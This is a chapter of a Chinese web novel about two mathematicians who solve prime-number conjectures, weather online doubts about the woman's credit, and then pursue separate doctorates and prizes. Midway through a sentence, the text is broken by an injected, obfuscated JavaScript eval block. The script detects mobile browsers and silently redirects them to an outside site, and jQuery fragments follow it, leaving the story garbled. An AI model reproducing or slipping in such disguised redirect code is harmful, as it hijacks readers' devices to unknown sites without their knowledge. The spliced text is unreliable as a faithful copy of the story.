孪生素数猜想是波利尼亚克猜想的弱猜想,若后者成立则前者一定成立。
这一说法没问题。
但这完全不意味着孪生素数猜想没有价值,配不上《数学年刊》,更不是网友恶意揣测的,叶淮在解决波利尼亚克猜想时,顺便证明了孪生素数猜想,并将它送给了萧凝。
只要是数学专业的都知道这话有多荒谬。
叶淮选择将孪生素数猜想作为申报的课题而非波利尼亚克猜想,就是因为后者难度高,跃过前者直接解决后者几乎不可能。
波利尼亚克猜想在叶淮解决前,国内数学界都认为要完成这个课题至少十年。
前提是孪生素数猜想有进展后。
叶淮之所以艺高人胆大,后期与萧凝选择双线并行,也是因为两人是一个课题组,实时共享思路。
萧凝的方法和思路能够给叶淮以借鉴,而叶淮在利用前者解决波利尼亚克猜想过程中又能更新迭代出新想法给萧凝,帮助她完成孪生素数猜想。
浅层简单来说一个前推,一个倒推。
既能相互检验,排除掉错误思路,又能加快效率。
唯一的难点在于对合作者双方的能力要求高,但凡萧凝卡住,叶淮直接难度飙升,也因为萧凝给力,两人又全程密切配合,叶淮才紧随其后完成了波利尼亚克猜想。
按照送审时间,萧凝的论文该早于叶淮刊登,只是萧凝论文通过后,编辑给叶淮插了个队,想必《数学年刊》的编辑也是看出了两篇论文的关系,这才有了这惊人的一幕。
然而全国数学专业的本科生有多少,近些年国内每年本科生招生总数在450-500万之间,数学类专业年招生规模时2.5-3.5万人,占比不到1%,而国内本科率不到40%。
要想让这些人全部搞清楚,无异于痴人说梦,不然就不会有人质疑研究哥猜“1+1”问题的价值了。
网友对萧凝的质疑,很难说不是这个世界对女性数学天赋的刻板印象。
*
事实上,相比网友的质疑,专业人士更能看到萧凝的价值。
毕竟数学天赋这种东西比钻石都亮眼,是遮掩不住的,无关男女。
萧凝解决孪生素数猜想的方法,即L函数与模形式的相互作用,相当创新和亮眼。
叶淮正是拓展运用了这一方法,解决了波利尼亚克猜想。
可以说萧凝制造了L函数与模形式这把剑解答了孪生素数猜想,而叶淮将剑磨得更锋利拿下了波利尼亚克猜想,很难说谁功劳更大。
男女朋友的两人互为对方二作的行为,更让大家相视一笑,谁说数学家不懂浪漫,笛卡尔心形线、斐波那契数列、科赫雪花集合不都是数学家表白的好手段。
北大报告厅,座无虚席,还有国外飞来的数论领域的数学家。
数论领域沉寂良久,所有人都想知道这把绝世宝剑还能剑指何处。
萧凝和叶淮相继上台,范院长见到眼前这一幕,嘴都笑咧了。
北大数院在国内是首屈一指,但基础科学领域,国内依旧落后国外一大截,一是论文数,二是顶尖数学家人数。
国内至今没有一位本国国籍的菲尔兹奖,这一直是国内数学界的遗憾和心病。
北大数院作为领头羊,进入千禧年也一度辉煌,出现过张玮、许晨阳等年轻数学家,被誉为“黄金一代”,可惜都没能拿下菲尔兹奖。
如今范院长又看到了希望。
这场报告会,不仅代表北大数院,还代表华国数学界,隔壁清大自然不能缺席,来得是老熟人,华国数学学会副理事长席院士。
席院士很不想看范院长那张老脸。
刺眼、太刺眼了。
*
网上的谣言,萧凝不在意,她没时间,也不在乎。
就像《超凡智脑》节目播出,她从出场到拿到冠军,一直都有争议,微博下面有支持的,也有怀疑黑幕的。
但和综艺节目放任甚至乐于“激烈讨论”不一样。
她不在乎,叶淮在乎,北大数院在乎,华国数学界在乎,他们不会允许国内网友迫害自己本土培养的数学家。
报告会后,视频同步上传到了北大官网,并治理清除网络不实言论。
萧凝是事后接到父母的安慰,才后知后觉意识到有这么多人站在她身后。
*
萧凝对质数问题热情没有消退,只是下一个课题她暂时没有头绪。
经验丰富的范院长提醒她,“为什么不试试哥德巴赫猜想?”
“我吗?”萧凝诧异道,“这个难度有点高啊。”
话虽如此,萧凝脸上却没有任何退缩的意思。
“我会认真考虑老师您的意见。”萧凝道。
至于她心中的合作者,自然还是叶淮。
萧凝选择哥猜,叶淮并不意外。
只是他拒绝了萧凝的合作邀请。
萧凝:“你知道我不在乎网上的流言,我们合作愉快,为什么要在意外界的看法?”
只要她在乎的人认可她就足够了。
叶淮有前世的记忆,这些日子逐渐理解了萧凝与原主渐行渐远的原因。
势均力敌的两人,绑定太深,注定会有人的光芒被掩去。
前世原主理所应当的心态和潜意识的俯视伤害了萧凝,让她毅然决然分割,从头开始。
叶淮自然不会如此,但他不能左右大众的看法。
有细心的网友从萧凝的微博扒到他的微博,试图“唤醒”他的理智。
他本人的澄清也无济于事。
萧凝不在意,他在意。
两人继续合作,难免有瓜田李下之嫌。
叶淮甚至后悔过,因为私心,将她拉入课题的举动。
*
“你应该拥有独立的课题。”叶淮道,“哥猜你一个人足够了。”
“做多了数论,博士我也想换个方向了。”叶淮掩去心思笑道。
“师兄你对我太有自信了。”萧凝汗颜道,“我还一点头绪没有呢。”
萧凝可能没注意到,自两人确认关系后,她已经很少喊叶淮“师兄”了。
“师兄”意味着她把叶淮当成前辈。
叶淮决心已定,萧凝不再劝。
“你博士要继续偏微分方程吗?”萧凝关心道。
这是叶淮的本科毕业论文方向,她看过叶淮的所有文章,只有这一篇是其他方向的。
叶淮摇头:“是代数。”
从头开始的勇气,他也有。
*
网络热点应接不暇,很快两人的热度消散了。
一年后,叶淮远赴普林斯顿攻读博士学位,萧凝也在为本科毕业论文准备。
叶淮当初本校读研是考虑到年龄,未成年出国不方便。
萧凝没有这个烦恼,自她决定出国留学后,世界各地的名校纷纷抛出橄榄枝,没有教授会拒绝顶刊在手的学生,哪怕高傲如普林斯顿和巴黎高师。
所有人都认为萧凝会选择普林斯顿。
毕竟叶神在普林斯顿,整个北大数院谁人不知萧神和叶神的爱情故事,而普林斯顿又是数学系学子的圣殿,每年华国招生经常是一个巴掌不到。
萧凝原本也是计划直博普
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989917|151992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林斯顿,与男友团聚,甚至导师都发来了offer。
然天有不测风云。
上天似乎见不得两人团聚,萧凝选中的导师因为疫情离世了。
叶淮:……
萧凝:……
该死的疫情。
还好中国人习惯是做两手准备,萧凝还有其他offer。
心仪的导师去世,但不妨碍萧凝去普林斯顿,只是随着学科细分,每个领域顶尖的大佬寥寥,整个普林斯顿只有这一位去世的最合萧凝的方向。
萧凝退而求其次:“麻省理工如何?”
最起码两人在一个国家,相距400公里。
叶淮不想自己成为她选择的负担,“你有更好更适合的offer,你的前途重要,我永远希望站在你的前途里。”
兜兜转转还是巴黎高师。
普林斯顿市距离巴黎有多远?
叶淮很乐观:“不就是八个多小时,比飞首都十三多个小时好。”
过去一年,两人异地,叶淮都习惯了长途飞行。
“还好我有钱,商务舱睡一觉就可以去找你了。”
叶淮揽住她,“而且那边会议也多,我们见面机会很多的。”
萧凝也抱住他,闷声道:“可我就是不想你那么辛苦。”
她知道博士毕业的压力很大,叶淮又是选了新方向。
飞机十三个小时,往返要一天半。
尽管叶淮没有表现出异样,萧凝还是心疼他。
“最多两年,我就能博士毕业。”叶淮承诺道:“到时候我去找你。”
萧凝撇嘴:“我也加油,争取比你先毕业。”
叶淮垂眸注视着她的眼睛,温柔道:“我等你。”
*
异地恋很难。
异国恋难上加难。
萧凝与叶淮却都没有不安感。
原因可能是每天必不可少的视频通话,每月至少一次的见面和每次见面后给对方冰箱留下的食物。
博士的生活没有两人想象的难熬。
两人的导师都不是死板的人,只要定期汇报进度,导师并不在意坐班与否。
而数学界知名的学术会议也不多,两人总能“偶遇”。
还有……争夺同一个奖项。
从拉马努金奖到柯尔数论奖。
这两个奖项被视作菲尔兹奖的“前哨”或“风向标”,也是数学的权威奖项。
拉马努金奖叶淮与萧凝先后获得,叶淮先,萧凝后。
到了柯尔数论奖,热闹再起。
单论孪生素数猜想和波利尼亚克猜想,后者可能稍占优势,但这两年有心人皆知叶淮的研究方向突然转向代数几何,研究成果也是代数几何,而去年萧凝在哥德巴赫猜想上的进展有足够瞩目,让柯尔数论奖的天枰偏向萧凝。
众所周知,柯尔数论奖和柯尔代数奖每三年交替颁发,奖励过去六年的研究成果。
而今年该颁发的是柯尔数论奖。
“获奖人是来自华国的萧凝……”台上颁奖M国数学学会会长缓慢地念道。
萧凝起身鞠躬,又与叶淮拥抱。
“实至名归!”叶淮道。
萧凝上台发表获奖感言,眼神不自觉望向叶淮。
嘉宾们显然注意到这一小动作,连颁奖的M国数学学会会长都忍不住调侃:“我该把舞台让给另一个人。”
全场响起祝福的掌声。
全场瞩目中,两人对视而笑。
现场的摄像机忠实的记录下这一幕。
所有人都知道三年后,这一幕会再度发生。